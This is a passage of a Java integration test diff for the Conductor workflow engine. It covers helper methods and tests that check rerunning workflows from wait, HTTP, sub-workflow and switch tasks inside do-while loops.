simpleTask(String refName) { + TaskDef def = new TaskDef(refName); + def.setRetryCount(0); + def.setOwnerEmail("test@conductor.io"); + WorkflowTask wt = new WorkflowTask(); + wt.setTaskReferenceName(refName); + wt.setName(refName); + wt.setTaskDefinition(def); + wt.setWorkflowTaskType(TaskType.SIMPLE); + return wt; + } + + /** SUB_WORKFLOW task that targets v1 of the named workflow def. */ + private static WorkflowTask subWorkflowTask(String refName, String subWorkflowName) { + SubWorkflowParams params = new SubWorkflowParams(); + params.setName(subWorkflowName); + params.setVersion(1); + WorkflowTask wt = new WorkflowTask(); + wt.setTaskReferenceName(refName); + wt.setName(subWorkflowName); + wt.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + wt.setSubWorkflowParam(params); + return wt; + } + + /** FORK_JOIN whose branches are the given task lists. */ + private static WorkflowTask forkJoin(String refName, List> branches) { + WorkflowTask fork = new WorkflowTask(); + fork.setTaskReferenceName(refName); + fork.setName("FORK_JOIN"); + fork.setWorkflowTaskType(TaskType.FORK_JOIN); + fork.setForkTasks(branches); + return fork; + } + + /** JOIN that waits on the given task ref names. */ + private static WorkflowTask join(String refName, List joinOn) { + WorkflowTask join = new WorkflowTask(); + join.setTaskReferenceName(refName); + join.setName("JOIN"); + join.setWorkflowTaskType(TaskType.JOIN); + join.setJoinOn(joinOn); + return join; + } + + /** Build + register a WorkflowDef with default 600s timeout. */ + private void registerWorkflow(String name, List tasks) { + registerWorkflow(name, tasks, 600); + } + + /** Build + register a WorkflowDef with an explicit timeout. */ + private void registerWorkflow(String name, List tasks, int timeoutSeconds) { + WorkflowDef def = new WorkflowDef(); + def.setName(name); + def.setOwnerEmail("test@conductor.io"); + def.setTimeoutSeconds(timeoutSeconds); + def.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + def.setTasks(tasks); + metadataClient.updateWorkflowDefs(java.util.List.of(def)); + } + + /** First non-terminal task with the given refName in {@code wf}, or AssertionError. */ + private static Task findActiveTask(Workflow wf, String refName, String errorMessage) { + return wf.getTasks().stream() + .filter( + t -> + refName.equals(t.getReferenceTaskName()) + && !t.getStatus().isTerminal()) + .findFirst() + .orElseThrow(() -> new AssertionError(errorMessage)); + } + + /** Convenience: fetch the workflow then find the active task. */ + private Task findActiveTask(String workflowId, String refName, String errorMessage) { + return findActiveTask(workflowClient.getWorkflow(workflowId, true), refName, errorMessage); + } + + /** + * Await a non-terminal task with {@code refName} becoming active in the given workflow and + * return it. A child sub-workflow's first decide (which schedules its inner task) runs + * asynchronously after the parent SUB_WORKFLOW task is assigned a subWorkflowId, so a direct + * {@link #findActiveTask} on a freshly created child can throw before the inner task exists. + * Route every child-inner lookup through here; 30s matches the CI-load window other awaits use. + */ + private Task awaitActiveTask(String workflowId, String refName, String errorMessage) { + Task[] holder = new Task[1]; + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted(() -> holder[0] = findActiveTask(workflowId, refName, errorMessage)); + return holder[0]; + } + + /** Status of a task in the given workflow by ref name (terminal or otherwise). */ + private static Task.Status statusOf(Workflow wf, String refName) { + return taskOf(wf, refName).getStatus(); + } + + /** Task by ref name (terminal or otherwise), or AssertionError if missing. */ + private static Task taskOf(Workflow wf, String refName) { + return wf.getTasks().stream() + .filter(t -> refName.equals(t.getReferenceTaskName())) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + refName + " not found in workflow " + wf.getWorkflowId())); + } + + /** Start v1 of a registered workflow with empty input and return its id. */ + private String start(String workflowName) { + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName(workflowName); + req.setVersion(1); + return workflowClient.startWorkflow(req); + } + + /** Best-effort cleanup of any running instances of the given workflow names. */ + private void terminateAll(String... workflowNames) { + for (String name : workflowNames) { + try { + terminateExistingRunningWorkflows(name); + } catch (Exception ignore) { + /* best-effort */ + } + } + } + + /** Await the workflow reaching {@code expected} status (15s default). */ + private void awaitWorkflowStatus( + String workflowId, Workflow.WorkflowStatus expected, String message) { + awaitWorkflowStatus(workflowId, expected, 15, message); + } + + /** Await the workflow reaching {@code expected} status within {@code seconds}. */ + private void awaitWorkflowStatus( + String workflowId, Workflow.WorkflowStatus expected, int seconds, String message) { + await().atMost(seconds, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertEquals( + expected, + workflowClient.getWorkflow(workflowId, true).getStatus(), + message)); + } + + @Test + @DisplayName("Test wait task with timer rerun - verify waitTimer restart") + public void testWaitTaskWithTimerRerun() { + String workflowName = "rerun-wait-timer-workflow"; + registerWaitTimerWorkflowDef(workflowName); + + terminateExistingRunningWorkflows(workflowName); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + + // Wait for wait task to be in progress + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + boolean hasWaitTask = + workflow.getTasks().stream() + .filter( + t -> + TaskType.WAIT + .name() + .equals(t.getTaskType())) + .anyMatch( + t -> + Task.Status.IN_PROGRESS.equals( + t.getStatus())); + assertTrue(hasWaitTask); + }); + + // Get the wait task + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + Task waitTask = workflow.getTasks().get(0); + + // Record initial callback time + long initialCallbackTime = waitTask.getCallbackAfterSeconds(); + assertTrue(initialCallbackTime > 0, "Wait task should have callback timer"); + workflowClient.terminateWorkflow(workflowId, "Terminate to test rerun"); + // Wait a moment to let some time pass + try { + Thread.sleep(TimeUnit.SECONDS.toMillis(2)); + } catch (InterruptedException ie) { + Thread.currentThread().interrupt(); + } + + // Rerun from wait task + RerunWorkflowRequest rerunWorkflowRequest = new RerunWorkflowRequest(); + rerunWorkflowRequest.setReRunFromWorkflowId(workflowId); + rerunWorkflowRequest.setReRunFromTaskId(waitTask.getTaskId()); + workflowClient.rerunWorkflow(workflowId, rerunWorkflowRequest); + + // Verify rerun behavior + workflow = workflowClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.RUNNING, workflow.getStatus()); + + Task newWaitTask = workflow.getTasks().get(0); + assertEquals( + initialCallbackTime, + newWaitTask.getCallbackAfterSeconds(), + "Timer should restart with same duration"); + assertEquals(0, newWaitTask.getPollCount(), "New wait task should not have been polled"); + + workflowClient.terminateWorkflow(workflowId, "Test completed"); + } + + @Test + @DisplayName("Test rerun from http task inside do_while loop with nested tasks") + public void testRerunFromHttpTaskInDoWhileWithNestedTasks() { + String workflowName = "vialtodoowhile-rerun-test"; + String subWorkflowName = "Wait"; + + // Register the sub-workflow first + registerWaitSubWorkflow(subWorkflowName); + + // Register the main workflow + registerViaToDoWhileWorkflowDef(workflowName, subWorkflowName); + + terminateExistingRunningWorkflows(workflowName); + terminateExistingRunningWorkflows(subWorkflowName); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + Map variables = new HashMap<>(); + variables.put("status", "InProgress"); + startWorkflowRequest.setInput(Map.of("variables", variables)); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + + // Wait for first iteration SUB_WORKFLOW task to complete naturally + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertTrue( + wf.getTasks().stream() + .anyMatch( + t -> + TaskType.SUB_WORKFLOW + .name() + .equals(t.getTaskType()) + && t.getIteration() == 1 + && t.getStatus() + == Task.Status + .COMPLETED)); + }); + + Workflow workflow; + Task[] wait_task_holder = new Task[1]; + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + wait_task_holder[0] = + wf.getTasks().stream() + .filter( + t -> + "WAIT".equals(t.getTaskType()) + && t.getIteration() == 1) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "WAIT task at iteration 1 not yet scheduled")); + }); + Task wait_task = wait_task_holder[0]; + completeTask(wait_task, TaskResult.Status.COMPLETED); + + // Wait for second iteration HTTP task + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertTrue( + wf.getTasks().stream() + .anyMatch( + t -> + "HTTP".equals(t.getTaskType()) + && t.getIteration() == 2)); + }); + + workflow = workflowClient.getWorkflow(workflowId, true); + Task httpTask2 = + workflow.getTasks().stream() + .filter(t -> "HTTP".equals(t.getTaskType()) && t.getIteration() == 2) + .findFirst() + .orElseThrow(); + + // Fail the HTTP task in second iteration + workflowClient.terminateWorkflow(workflowId, "Fail for test"); + workflow = workflowClient.getWorkflow(workflowId, false); + assertEquals(Workflow.WorkflowStatus.TERMINATED, workflow.getStatus()); + + // Rerun from the second iteration http task + RerunWorkflowRequest rerunWorkflowRequest = new RerunWorkflowRequest(); + rerunWorkflowRequest.setReRunFromWorkflowId(workflowId); + rerunWorkflowRequest.setReRunFromTaskId(httpTask2.getTaskId()); + workflowClient.rerunWorkflow(workflowId, rerunWorkflowRequest); + + // Verify rerun behavior + await().atMost(30, TimeUnit.SECONDS) + .pollInterval(Duration.ofSeconds(1)) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + System.out.println("Reason " + wf.getReasonForIncompletion()); + assertEquals(Workflow.WorkflowStatus.RUNNING, wf.getStatus()); + }); + + workflow = workflowClient.getWorkflow(workflowId, true); + // Verify do_while task is IN_PROGRESS with iteration 2 + Task doWhileTask = + workflow.getTasks().stream() + .filter(t -> TaskType.DO_WHILE.name().equals(t.getTaskType())) + .findFirst() + .orElseThrow(); + assertEquals(Task.Status.IN_PROGRESS, doWhileTask.getStatus()); + + // Verify http task is scheduled with iteration 2 + Task newHttpTask = + workflow.getTasks().stream() + .filter(t -> "HTTP".equals(t.getTaskType()) && t.getIteration() == 2) + .findFirst() + .orElseThrow(); + assertNotNull(newHttpTask); + assertEquals("http_ref__2", newHttpTask.getReferenceTaskName()); + + // Terminate the workflow + workflowClient.terminateWorkflow(workflowId, "Test completed"); + } + + @Test + @DisplayName("Test rerun from sub_workflow task inside do_while loop") + public void testRerunFromSubWorkflowTaskInDoWhile() { + String workflowName = "vialtodoowhile-subworkflow-rerun-test"; + String subWorkflowName = "Wait"; + + // Register the sub-workflow first + registerWaitSubWorkflow(subWorkflowName); + + // Register the main workflow + registerViaToDoWhileWorkflowDef(workflowName, subWorkflowName); + + terminateExistingRunningWorkflows(workflowName); + terminateExistingRunningWorkflows(subWorkflowName); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + Map variables = new HashMap<>(); + variables.put("status", "InProgress"); + startWorkflowRequest.setInput(Map.of("variables", variables)); + + // Add parent-level task-to-domain mapping + Map taskToDomain = new HashMap<>(); + taskToDomain.put("http", "parent-domain"); + startWorkflowRequest.setTaskToDomain(taskToDomain); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + + // Verify parent workflow has task-to-domain mapping + await().atMost(5, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertNotNull(wf.getTaskToDomain()); + assertEquals("parent-domain", wf.getTaskToDomain().get("http")); + }); + + // Wait for first iteration SUB_WORKFLOW task to complete naturally + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertTrue( + wf.getTasks().stream() + .anyMatch( + t -> + TaskType.SUB_WORKFLOW + .name() + .equals(t.getTaskType()) + && t.getIteration() == 1 + && t.getStatus() + == Task.Status + .COMPLETED)); + }); + + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + + // Verify sub-workflow task has subWorkflowTaskToDomain in input + Task subWorkflowTask1 = + workflow.getTasks().stream() + .filter( + t -> + TaskType.SUB_WORKFLOW.name().equals(t.getTaskType()) + && t.getIteration() == 1) + .findFirst() + .orElseThrow(); + + // Get the sub-workflow and verify it has the taskToDomain mapping + String subWorkflowId1 = subWorkflowTask1.getSubWorkflowId(); + Workflow subWorkflow1 = workflowClient.getWorkflow(subWorkflowId1, true); + + // Verify sub-workflow received task-to-domain mapping + if (subWorkflowTask1.getInputData().containsKey("subWorkflowTaskToDomain")) { + Map subWorkflowTaskToDomain = + (Map) + subWorkflowTask1.getInputData().get("subWorkflowTaskToDomain"); + if (subWorkflowTaskToDomain != null && !subWorkflowTaskToDomain.isEmpty()) { + assertNotNull( + subWorkflow1.getTaskToDomain(), + "Sub-workflow should have taskToDomain if passed from parent"); + } + } + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertTrue( + workflowClient + .getWorkflow(workflowId, true) + .getTasks() + .stream() + .anyMatch( + t -> + "WAIT".equals(t.getTaskType()) + && t.getIteration() == 1))); + workflow = workflowClient.getWorkflow(workflowId, true); + Task wait_task = + workflow.getTasks().stream() + .filter(t -> "WAIT".equals(t.getTaskType()) && t.getIteration() == 1) + .findFirst() + .orElseThrow(); + completeTask(wait_task, TaskResult.Status.COMPLETED); + + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertTrue( + wf.getTasks().stream() + .anyMatch( + t -> + TaskType.SUB_WORKFLOW + .name() + .equals(t.getTaskType()) + && t.getIteration() == 2 + && t.getStatus() + == Task.Status + .IN_PROGRESS)); + }); + workflow = workflowClient.getWorkflow(workflowId, true); + Task subWorkflowTask2 = + workflow.getTasks().stream() + .filter( + t -> + TaskType.SUB_WORKFLOW.name().equals(t.getTaskType()) + && t.getIteration() == 2) + .findFirst() + .orElseThrow(); + + // Terminate the sub-workflow to cause failure + String subWorkflowId2 = subWorkflowTask2.getSubWorkflowId(); + workflowClient.terminateWorkflow(subWorkflowId2, "Fail for test"); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.TERMINATED, wf.getStatus()); + }); + + // Rerun from second iteration sub_workflow task + RerunWorkflowRequest rerunWorkflowRequest = new RerunWorkflowRequest(); + rerunWorkflowRequest.setReRunFromWorkflowId(workflowId); + rerunWorkflowRequest.setReRunFromTaskId(subWorkflowTask2.getTaskId()); + workflowClient.rerunWorkflow(workflowId, rerunWorkflowRequest); + + // Verify rerun behavior + workflow = workflowClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.RUNNING, workflow.getStatus()); + + // Verify parent workflow still has task-to-domain mapping after rerun + assertNotNull( + workflow.getTaskToDomain(), + "Parent workflow should retain taskToDomain after rerun"); + assertEquals( + "parent-domain", + workflow.getTaskToDomain().get("http"), + "Parent domain should be preserved after rerun"); + + // Verify do_while task is IN_PROGRESS with iteration 2 + Task doWhileTask = + workflow.getTasks().stream() + .filter(t -> TaskType.DO_WHILE.name().equals(t.getTaskType())) + .findFirst() + .orElseThrow(); + assertEquals(Task.Status.IN_PROGRESS, doWhileTask.getStatus()); + + // Verify sub_workflow task is scheduled with iteration 2 + Task newSubWorkflowTask = + workflow.getTasks().stream() + .filter( + t -> + TaskType.SUB_WORKFLOW.name().equals(t.getTaskType()) + && t.getIteration() == 2) + .findFirst() + .orElseThrow(); + assertEquals(Task.Status.IN_PROGRESS, newSubWorkflowTask.getStatus()); + + // Verify that subWorkflowTaskToDomain is preserved in the rerun sub-workflow task + if (newSubWorkflowTask.getInputData().containsKey("subWorkflowTaskToDomain")) { + Map rerunSubWorkflowTaskToDomain = + (Map) + newSubWorkflowTask.getInputData().get("subWorkflowTaskToDomain"); + if (subWorkflowTask2.getInputData().containsKey("subWorkflowTaskToDomain")) { + Map originalSubWorkflowTaskToDomain = + (Map) + subWorkflowTask2.getInputData().get("subWorkflowTaskToDomain"); + assertEquals( + originalSubWorkflowTaskToDomain, + rerunSubWorkflowTaskToDomain, + "Sub-workflow task-to-domain should be preserved after rerun"); + } + } + + // Terminate the workflow + workflowClient.terminateWorkflow(workflowId, "Test completed"); + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertEquals( + Workflow.WorkflowStatus.TERMINATED, + workflowClient.getWorkflow(workflowId, false).getStatus())); + + // Now rerun from the http task in iteration 2. It should schedule the http task + // and also further task down the line. + workflow = workflowClient.getWorkflow(workflowId, true); + rerunWorkflowRequest.setReRunFromTaskId( + workflow.getTaskByRefName("http_ref__2").getTaskId()); + workflowClient.rerunWorkflow(workflowId, rerunWorkflowRequest); + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.RUNNING, wf.getStatus()); + assertTrue( + wf.getTasks().stream() + .anyMatch( + t -> + TaskType.SUB_WORKFLOW + .name() + .equals(t.getTaskType()) + && t.getIteration() == 2 + && t.getStatus() + == Task.Status + .IN_PROGRESS)); + }); + } + + @Test + @Disabled( + "Rerunning a RUNNING workflow is not allowed in conductor-oss (requires terminal state); conductor-oss throws ConflictException") + @DisplayName("Test rerun from switch task inside do_while loop") + public void testRerunFromSwitchTaskInDoWhile() { + String workflowName = "vialtodoowhile-switch-rerun-test"; + String subWorkflowName = "Wait"; + + // Register the sub-workflow first + registerWaitSubWorkflow(subWorkflowName); + + // Register the main workflow + registerViaToDoWhileWorkflowDef(workflowName, subWorkflowName); + + terminateExistingRunningWorkflows(workflowName); + terminateExistingRunningWorkflows(subWorkflowName); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + Map variables = new HashMap<>(); + variables.put("status", "InProgress"); + startWorkflowRequest.setInput(Map.of("variables", variables)); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertTrue( + wf.getTasks().stream() + .anyMatch( + t -> + TaskType.SUB_WORKFLOW + .name() + .equals(t.getTaskType()) + && t.getIteration() == 1 + && t.getStatus() + == Task.Status + .COMPLETED)); + }); + workflow = workflowClient.getWorkflow(workflowId, true); + Task wait_task = + workflow.getTasks().stream() + .filter(t -> "WAIT".equals(t.getTaskType()) && t.getIteration() == 1) + .findFirst() + .orElseThrow(); + completeTask(wait_task, TaskResult.Status.COMPLETED); + + workflow = workflowClient.getWorkflow(workflowId, true); + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertTrue( + wf.getTasks().stream() + .anyMatch( + t -> + TaskType.SUB_WORKFLOW + .name() + .equals(t.getTaskType()) + && t.getIteration() == 2 + && t.getStatus() + == Task.Status + .COMPLETED)); + }); + workflow = workflowClient.getWorkflow(workflowId, true); + wait_task = + workflow.getTasks().stream() + .filter(t -> "WAIT".equals(t.getTaskType()) && t.getIteration() == 2) + .findFirst() + .orElseThrow(); + completeTask(wait_task, TaskResult.Status.COMPLETED); + workflow = workflowClient.getWorkflow(workflowId, true); + + // Get the switch task from third iteration for rerun + Task switchTask3 = + workflow.getTasks().stream() + .filter( + t -> + TaskType.SWITCH.name().equals(t.getTaskType()) + && t.getIteration() == 2) + .findFirst() + .orElseThrow(); + + // Rerun from third iteration switch task with different input to trigger case 'b' + RerunWorkflowRequest rerunWorkflowRequest = new RerunWorkflowRequest(); + rerunWorkflowRequest.setReRunFromWorkflowId(workflowId); + rerunWorkflowRequest.setReRunFromTaskId(switchTask3.getTaskId()); + + // Modify the input to trigger case 'b' + Map newTaskInput = new HashMap<>(); + newTaskInput.put("switchCaseValue", "b"); + rerunWorkflowRequest.setTaskInput(newTaskInput); + + workflowClient.rerunWorkflow(workflowId, rerunWorkflowRequest); + + // Verify rerun behavior + workflow = workflowClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.RUNNING, workflow.getStatus()); + + // Verify do_while task is IN_PROGRESS with iteration 2 + Task doWhileTask = + workflow.getTasks().stream() + .filter(t -> TaskType.DO_WHILE.name().equals(t.getTaskType())) + .findFirst() + .orElseThrow(); + assertEquals(Task.Status.COMPLETED, doWhileTask.getStatus()); + + // Verify switch task is completed + Task newSwitchTask = + workflow.getTasks().stream() + .filter( + t -> + TaskType.SWITCH.name().equals(t.getTaskType()) + && t.getIteration() == 2) + .findFirst() + .orElseThrow(); + assertEquals(Task.Status.COMPLETED, newSwitchTask.getStatus()); + + // Verify set_variable_b (case b) task is now scheduled instead of + // set_variable_a in iteration 2 + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertTrue( + wf.getTasks().stream() + .anyMatch( + t -> + "set_variable_b" + .equals( + t + .getTaskDefName()) + && t.getIteration() == 2)); + }); + } + + private void registerWaitTimerWorkflowDef(String workflowName) { + WorkflowTask waitTask = new WorkflowTask(); + waitTask.setTaskReferenceName("wait_timer_task"); + waitTask.setName("wait_timer_task"); + waitTask.setWorkflowTaskType(TaskType.WAIT); + waitTask.setInputParameters(Map.of("duration", "30 seconds")); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(workflowName); + workflowDef.setVersion(1); + workflowDef.setDescription("Test wait task timer rerun behavior"); + workflowDef.setTimeoutSeconds(600); + workflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + workflowDef.setTasks(List.of(waitTask)); + workflowDef.setOwnerEmail("test@conductor.io"); + + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + } + + private void registerSwitchInsideDoWhileWorkflowDef(String workflowName) { + // Create switch task with case1 and case2 + WorkflowTask case1Task = new WorkflowTask(); + case1Task.setTaskReferenceName("case1_task"); + case1Task.setName("case1_task"); + case1Task.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask case2Task = new WorkflowTask(); + case2Task.setTaskReferenceName("case2_task"); + case2Task.setName("case2_task"); + case2Task.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask defaultTask = new WorkflowTask(); + defaultTask.setTaskReferenceName("default_task"); + defaultTask.setName("default_task"); + defaultTask.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask switchTask = new WorkflowTask(); + switchTask.setTaskReferenceName("switch_task"); + switchTask.setName("switch_task"); + switchTask.setWorkflowTaskType(TaskType.SWITCH); + switchTask.setEvaluatorType("value-param"); + switchTask.setExpression("switchValue"); + switchTask.getDecisionCases().put("case1", List.of(case1Task)); + switchTask.getDecisionCases().put("case2", List.of(case2Task)); + switchTask.setDefaultCase(List.of(defaultTask)); + switchTask.setInputParameters(Map.of("switchValue", "${workflow.input.switchValue}")); + + // Create do_while task that loops over the switch task + WorkflowTask doWhileTask = new WorkflowTask(); + doWhileTask.setTaskReferenceName("do_while_task"); + doWhileTask.setName("do_while_task"); + doWhileTask.setInputParameters(Map.of("maxIterations", "${workflow.input.maxIterations}")); + doWhileTask.setWorkflowTaskType(TaskType.DO_WHILE); + doWhileTask.setLoopCondition( + "if ($.do_while_task['iteration'] < $.maxIterations) { true; } else { false; }"); + doWhileTask.setLoopOver(List.of(switchTask)); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(workflowName); + workflowDef.setVersion(1); + workflowDef.setDescription("Test switch inside do_while rerun behavior"); + workflowDef.setTimeoutSeconds(600); + workflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + workflowDef.setTasks(List.of(doWhileTask)); + workflowDef.setOwnerEmail("test@conductor.io"); + workflowDef.setInputParameters(List.of("maxIterations", "switchValue")); + + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + } + + private void registerWaitSubWorkflow(String workflowName) { + WorkflowTask waitTask = new WorkflowTask(); + waitTask.setTaskReferenceName("wait_task"); + waitTask.setName("wait_task"); + waitTask.setWorkflowTaskType(TaskType.WAIT); + waitTask.setInputParameters(Map.of("duration", "4 seconds")); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(workflowName); + workflowDef.setVersion(1); + workflowDef.setDescription("Wait sub-workflow"); + workflowDef.setTimeoutSeconds(600); + workflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + workflowDef.setTasks(List.of(waitTask)); + workflowDef.setOwnerEmail("test@conductor.io"); + + try { + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + } catch (Exception e) { + // Workflow might already exist, that's okay + } + } + + private void registerViaToDoWhileWorkflowDef(String workflowName, String subWorkflowName) { + // Create HTTP task + WorkflowTask httpTask = new WorkflowTask(); + httpTask.setTaskReferenceName("http_ref"); + httpTask.setName("http"); + httpTask.setWorkflowTaskType(TaskType.HTTP); + Map httpInputs = new HashMap<>(); + httpInputs.put("uri", "https://orkes-api-tester.orkesconductor.com/api"); + httpInputs.put("method", "GET"); + httpInputs.put("accept", "application/json"); + httpInputs.put("contentType", "application/json"); + httpInputs.put("encode", true); + httpTask.setInputParameters(httpInputs); + + // Create SUB_WORKFLOW task + WorkflowTask subWorkflowTask = new WorkflowTask(); + subWorkflowTask.setTaskReferenceName("sub_workflow_ref"); + subWorkflowTask.setName("sub_workflow"); + subWorkflowTask.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + SubWorkflowParams subWorkflowParams = new SubWorkflowParams(); + subWorkflowParams.setName(subWorkflowName); + subWorkflowParams.setVersion(1); + subWorkflowTask.setSubWorkflowParam(subWorkflowParams); + subWorkflowTask.setInputParameters(new HashMap<>()); + + // Create WAIT task + WorkflowTask waitTask = new WorkflowTask(); + waitTask.setTaskReferenceName("wait_ref"); + waitTask.setName("wait"); + waitTask.setWorkflowTaskType(TaskType.WAIT); + waitTask.setInputParameters(new HashMap<>()); + + // Create case tasks for SWITCH + WorkflowTask setVariableTaskA = new WorkflowTask(); + setVariableTaskA.setTaskReferenceName("set_variable_ref_a"); + setVariableTaskA.setName("set_variable_a"); + setVariableTaskA.setWorkflowTaskType(TaskType.SET_VARIABLE); + setVariableTaskA.setInputParameters(Map.of("status", "Completed")); + + WorkflowTask setVariableTaskB = new WorkflowTask(); + setVariableTaskB.setTaskReferenceName("set_variable_ref_b"); + setVariableTaskB.setName("set_variable_b"); + setVariableTaskB.setWorkflowTaskType(TaskType.SET_VARIABLE); + setVariableTaskB.setInputParameters(Map.of("status", "Completed")); + + // Create SWITCH task + WorkflowTask switchTask = new WorkflowTask(); + switchTask.setTaskReferenceName("switch_ref"); + switchTask.setName("switch"); + switchTask.setWorkflowTaskType(TaskType.SWITCH); + switchTask.setEvaluatorType("value-param"); + switchTask.setExpression("switchCaseValue"); + switchTask.getDecisionCases().put("a", List.of(setVariableTaskA)); + switchTask.getDecisionCases().put("b", List.of(setVariableTaskB)); + switchTask.setDefaultCase(new ArrayList<>()); + switchTask.setInputParameters(Map.of("switchCaseValue", "${wait_ref.output.result}")); + + // Create DO_WHILE task + WorkflowTask doWhileTask = new WorkflowTask(); + doWhileTask.setTaskReferenceName("do_while_ref"); + doWhileTask.setName("do_while"); + doWhileTask.setWorkflowTaskType(TaskType.DO_WHILE); + doWhileTask.setEvaluatorType("graaljs"); + doWhileTask.setLoopCondition( + "(function () { if ($.do_while_ref['iteration'] < 3) { return true;} return false;})();"); + doWhileTask.setLoopOver(List.of(httpTask, subWorkflowTask, waitTask, switchTask)); + doWhileTask.setInputParameters(Map.of("status", "${workflow.variables.status}")); + + // Create final HTTP task after do_while + WorkflowTask httpRef3Task = new WorkflowTask(); + httpRef3Task.setTaskReferenceName("http_ref_3"); + httpRef3Task.setName("http_3"); + httpRef3Task.setWorkflowTaskType(TaskType.HTTP); + httpRef3Task.setInputParameters(httpInputs); + + // Create workflow definition + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(workflowName); + workflowDef.setVersion(1); + workflowDef.setDescription("vialtodoowhile - Test rerun with complex do_while loop"); + workflowDef.setTimeoutSeconds(0); + workflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.ALERT_ONLY); + workflowDef.setTasks(List.of(doWhileTask, httpRef3Task)); + workflowDef.setOwnerEmail("test@conductor.io"); + workflowDef.setEnforceSchema(true); + workflowDef.setVariables(new HashMap<>()); + workflowDef.setInputParameters(List.of()); + + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + } + + /** + * FORK_JOIN inside DO_WHILE where both branches are SUB_WORKFLOW tasks. BranchA (failing child) + * has its inner simple task failed. BranchB (cancelled child) is cancelled as a side effect of + * the fork failure cascade. Rerun from the failed inner task. Asserts the cancelled + * SUB_WORKFLOW sibling is restored in place (same subWorkflowId), resumed non-terminal, and + * once both children finish, parent reaches COMPLETED. + * + *

